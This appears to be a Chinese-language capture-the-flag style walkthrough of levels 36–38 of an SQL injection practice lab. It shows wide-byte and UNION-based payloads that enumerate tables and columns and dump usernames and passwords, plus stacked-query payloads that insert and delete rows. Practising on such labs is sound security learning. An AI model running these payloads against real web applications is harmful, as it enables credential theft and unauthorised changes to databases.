第36关
36关仍为宽字节注入,有报错信息,采用基于报错的SQL注入
判断为字符型注入
单引号注入
?id=2%81%27--+
字段数为3
回显点位置
?id=-2%81%27%20union%20select%201,2,3--+
数据库
表名
?id=-2%81%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
列名
?id=-2%81%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+
用户名密码
?id=-2%81%27%20union%20select%201,group_concat(password),group_concat(username)%20from%20users--+
第37关
此关为post请求
采用burp suite工具进行注入,可以发现此关仍然为宽字节注入
为单引号注入,有报错信息,可以采用基于报错的SQL注入
字段数为2
回显点位置
数据库
表名
列名
用户名密码
第38关
此关为字符型注入
id=2 and 1=1
id=2 and 1=2
单引号注入
字段数为3
回显点
表名
略
第38关貌似与最初的几个关没区别,查看源码,发现多了这个
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。这样容易造成堆叠注入,如
?id=2';insert into users(id,username,password)%20values(999,'panda','huahua')--+
?id=-2' union select% 1,2,group_concat(username,0x7e,password) from users--+
进行删除
?id=2';delete from users where username='panda'--+